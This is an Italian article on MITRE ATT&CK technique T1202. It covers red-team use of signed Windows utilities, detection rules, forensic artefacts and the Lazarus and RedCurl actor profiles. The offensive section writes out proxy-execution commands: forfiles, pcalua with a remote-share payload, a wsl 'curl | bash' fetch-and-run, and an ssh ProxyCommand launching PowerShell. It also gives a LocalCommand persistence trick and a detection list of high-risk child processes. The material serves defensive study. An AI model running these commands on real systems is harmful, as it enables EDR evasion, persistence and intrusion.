Esecuzione Indiretta di Comandi: Indirect Command Execution (T1202)

Dal punto di vista offensivo, T1202 è utile quando l'ambiente target blocca l'esecuzione diretta di cmd.exe o powershell.exe tramite policy o quando il team blu monitora aggressivamente questi processi. L'obiettivo del red teamer è dimostrare come una utility firmata Microsoft possa fungere da proxy di esecuzione, generando una catena parent-child inaspettata.

Un primo esempio classico è Forfiles, pensato per iterare file in una directory ed eseguire un comando per ciascuno. La sintassi forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe usa la ricerca come pretesto per lanciare calc.exe con forfiles.exe come parent. Sostituendo calc.exe con un binario arbitrario si ottiene esecuzione indiretta senza toccare cmd. Questa è la tecnica documentata per Lazarus Group, che ha usato forfiles.exe per eseguire file .htm come parte dei propri meccanismi di persistenza, e per Revenge RAT.

Una seconda strada è pcalua.exe, il Program Compatibility Assistant, sfruttato da RedCurl per offuscare l'esecuzione di binari e connessioni remote. La sintassi tipica è pcalua.exe -a \server\share\payload.exe oppure pcalua.exe -a cmd.exe -c "comando". Il vantaggio è che il processo padre appare come utility di compatibilità legittima.

Con WSL installato, wsl.exe -e /bin/bash -c "curl | bash" esegue codice in un contesto Linux che spesso sfugge agli EDR configurati solo per il lato Windows. Il processo wsl.exe è firmato Microsoft e il payload gira dentro il subsystem, riducendo la telemetria visibile ai sensori tradizionali.

La catena più elegante sfrutta il client OpenSSH nativo: ssh.exe -o ProxyCommand="powershell -c " localhost esegue ProxyCommand prima di tentare la connessione, quindi il payload parte anche se l'host di destinazione è irraggiungibile. In alternativa si modifica %USERPROFILE%.ssh\config aggiungendo una direttiva LocalCommand che scatta a ogni connessione SSH successiva, ottenendo persistenza a bassa rumorosità.

Per la fase di validazione sono utili Atomic Red Team (open source), che include test dedicati a T1202, e Sysmon (gratuito) con configurazione SwiftOnSecurity o Olaf Hartong modular per verificare che gli EventID 1 e 3 catturino la catena. Caldera (open source) di MITRE consente di orchestrare la sequenza in scenari end-to-end. Documentare sempre parent PID, command line completa e hash del binario invocato è essenziale per il report finale.

La detection di T1202 si fonda sulla correlazione parent-child anomala più che sulla semplice presenza dell'utility. La regola d'oro è: nessuna di queste utility (forfiles.exe, pcalua.exe, wsl.exe, scriptrunner.exe, ssh.exe) dovrebbe normalmente generare come child powershell.exe, cmd.exe, rundll32.exe, regsvr32.exe, mshta.exe, msiexec.exe, curl.exe o bitsadmin.exe. Quando accade, l'evento merita triage prioritario.

La detection analytic AN0576 di MITRE modella esattamente questa catena causa-effetto: (1) un utente o servizio lancia una utility di indirezione, (2) quella utility genera un processo secondario o apre connessioni di rete in uscita, (3) opzionalmente c'è una modifica preventiva del file %USERPROFILE%.ssh\config per persistere direttive LocalCommand/ProxyCommand. La correlazione va fatta su una finestra di 10-30 minuti tra il launcher indiretto e l'attività child o di rete.

La fonte primaria è Sysmon (gratuito) con EventID 1 (ProcessCreate), EventID 3 (NetworkConnect) e EventID 11 (FileCreate) sul percorso .ssh\config. In assenza di Sysmon si può ripiegare su Windows Security EventID 4688 con command-line auditing abilitato via Group Policy (Audit Process Creation + Include command line).

Un pattern KQL utile per Microsoft Defender for Endpoint (a pagamento) è filtrare DeviceProcessEvents dove InitiatingProcessFileName è in ("forfiles.exe","pcalua.exe","wsl.exe","scriptrunner.exe","ssh.exe") e FileName è tra i child ad alto rischio elencati sopra. Un equivalente in Splunk (freemium) o Elastic Security (freemium) si costruisce sulla stessa logica di correlazione.

Attenzione ai falsi positivi: su jump host di amministrazione e agenti CI/CD, ssh.exe con ProxyCommand è legittimo per il bastion hopping, e wsl.exe è quotidianamente usato dagli sviluppatori. Il tuning suggerito da AN0576 prevede quattro dimensioni: la lista AllowedUtilities per host amministrativi, la lista HighRiskChildren per innalzare la severity, il UserContext che aumenta il punteggio se l'esecutore è un utente interattivo su workstation invece che un service account, e le DestCIDRs note per sopprimere automazioni admin verso reti di gestione.

Un secondo layer di detection è file-based: monitorare la creazione o modifica di %USERPROFILE%.ssh\config con Sysmon EventID 11 e alertare quando il contenuto include LocalCommand o ProxyCommand. Osquery (open source) può essere usato in polling per ispezionare periodicamente il file su tutta la flotta. Da non trascurare gli EventID 4103/4104 di PowerShell quando il child è appunto powershell.exe, per catturare il payload effettivo eseguito.

L'analisi forense di T1202 parte dalla ricostruzione della catena di processo e dagli artefatti che le utility di indirezione lasciano sul filesystem e nel registro. La priorità è dimostrare che un binario firmato Microsoft ha agito da proxy per codice arbitrario, elemento chiave per attribuzione e narrativa dell'incidente.

La prima fonte è il log Sysmon archiviato in %SystemRoot%\System32\winevt\Logs\Microsoft-Windows-Sysmon%4Operational.evtx. Estraendolo con EvtxECmd di Eric Zimmerman (open source) si ottiene un CSV interrogabile con Timeline Explorer (open source), dove filtrare per ParentImage contenente forfiles.exe, pcalua.exe, wsl.exe, scriptrunner.exe o ssh.exe. Ogni match va arricchito con la command line completa, l'utente, e l'hash del child process.

Per il canale ssh.exe, l'artefatto principale è il file C:\Users<user>.ssh\config. Va acquisito con KAPE (gratuito per uso non commerciale) usando il target SSHConfig o, in assenza, con una raccolta mirata via Velociraptor (open source). Il contenuto va ispezionato alla ricerca di direttive LocalCommand, PermitLocalCommand yes e ProxyCommand con payload sospetti. I timestamp MACB del file, estratti con MFTECmd dal record $MFT, permettono di collocare la modifica nella timeline dell'attacco.

WSL richiede attenzione particolare: la distribuzione installata lascia tracce nel registro sotto HKCU\Software\Microsoft\Windows\CurrentVersion\Lxss, mentre il filesystem della distro risiede in %LOCALAPPDATA%\Packages<distro>\LocalState\ext4.vhdx. Montare il VHDX con libguestfs o con 7-Zip (open source) consente di recuperare ~/.bash_history, log di systemd e file creati dal payload lato Linux, spesso invisibili agli agent EDR Windows-only.

Per forfiles.exe e pcalua.exe non esistono log applicativi dedicati: la ricostruzione si basa esclusivamente su Sysmon EventID 1 e su Windows Security EventID 4688. Utile anche il Prefetch in C:\Windows\Prefetch\FORFILES.EXE-.pf* e PCALUA.EXE-.pf*, parseabile con PECmd (open source) per confermare esecuzione, numero di run e path degli eseguibili referenziati nelle ultime otto invocazioni.

Sul piano della timeline, un'indagine tipo su un endpoint compromesso da Lazarus Group metterebbe in sequenza: creazione del file .htm di persistenza, comparsa nel Prefetch di FORFILES.EXE, evento Sysmon 1 con parent forfiles.exe e child mshta.exe o simile, connessioni EventID 3 verso l'infrastruttura C2. Per RedCurl l'analogo pattern è ancorato a pcalua.exe come parent di binari scaricati in %APPDATA%. La correlazione va costruita con plaso/log2timeline (open source) generando una supertimeline che unisce Sysmon, Security log, Prefetch, MFT e USN Journal.

Il panorama di T1202 secondo i dati MITRE ATT&CK è compatto ma significativo: due gruppi APT documentati e due famiglie software, distribuiti fra ecosistema state-sponsored e cybercrime tool-based.

Il primo profilo è Lazarus Group (G0032), cluster attribuito storicamente alla Corea del Nord e attivo in operazioni di spionaggio, sabotaggio e furto finanziario. Nel contesto di T1202, Lazarus ha impiegato forfiles.exe come componente dei propri meccanismi di persistenza, sfruttando la capacità dell'utility di eseguire file .htm — un pattern che permette di ospitare script all'interno di documenti apparentemente innocui e di far apparire l'esecuzione come attività di iterazione filesystem legittima. L'uso di forfiles si integra bene con la tradizionale predilezione del gruppo per living-off-the-land binaries e per catene di infezione a più stadi.

Il secondo profilo è RedCurl (G1039), attore focalizzato su spionaggio corporate e furto di documenti riservati, particolarmente attivo contro aziende in settori legal, retail e consulting. RedCurl ha sfruttato pcalua.exe, il Program Compatibility Assistant, per offuscare sia l'esecuzione di binari sia le connessioni remote. La scelta di pcalua.exe è tatticamente interessante: si tratta di un binario raramente monitorato dalle policy EDR standard, il che riflette la ricerca deliberata di utility a bassa visibilità tipica di questo attore, spesso definito come uno dei gruppi di cyber-mercenariato più metodici nella selezione dei propri LOLBins.

Sul fronte software, la componente dual-use è rappresentata da Forfiles (S0193), classificato come tool — utility legittima Microsoft che diventa vettore quando reindirizzata a scopi malevoli. Il malware puro è invece Revenge RAT (S0379), remote access trojan diffuso in ambienti cybercrime che utilizza Forfiles per eseguire comandi sul sistema, dimostrando come la tecnica sia migrata dal repertorio APT verso il commodity malware.

Dal punto di vista dei pattern, l'overlap tooling tra Lazarus e Revenge RAT sull'uso di Forfiles è indicativo: non implica condivisione di infrastruttura o operatori, ma mostra come un LOLBin efficace venga rapidamente adottato in modo trasversale. RedCurl si differenzia scegliendo pcalua.exe, in linea con il proprio profilo di attore che privilegia binari meno battuti per massimizzare l'evasione.

Sul piano geografico, la copertura è asimmetrica: Lazarus opera globalmente con focus su finanza e difesa, RedCurl è concentrato su target europei e russofoni nel settore corporate. Il trend osservabile è la progressiva estensione del repertorio T1202 verso ssh.exe nativo di Windows 10/11 e verso wsl.exe, superfici che ampliano lo spettro di detection richiesto ai SOC. Per un CISO, la lezione operativa è che la baseline delle utility Microsoft firmate va rivista periodicamente: ogni release di Windows introduce nuovi potenziali proxy di esecuzione e le blocklist statiche invecchiano rapidamente.

MITRE ATT&CK: tecnica T1202, gruppi G0032 (Lazarus Group), G1039 (RedCurl), software S0193 (Forfiles) e S0379 (Revenge RAT), detection AN0576. MITRE D3FEND per il mapping delle contromisure. Per comandi, tool forensi (KAPE, Velociraptor, EvtxECmd, MFTECmd, PECmd, plaso), utility di detection (Sysmon, Atomic Red Team, Caldera, Osquery) e piattaforme SIEM/EDR citate è stata usata conoscenza professionale di cybersecurity verificata su documentazione ufficiale e repository pubblici.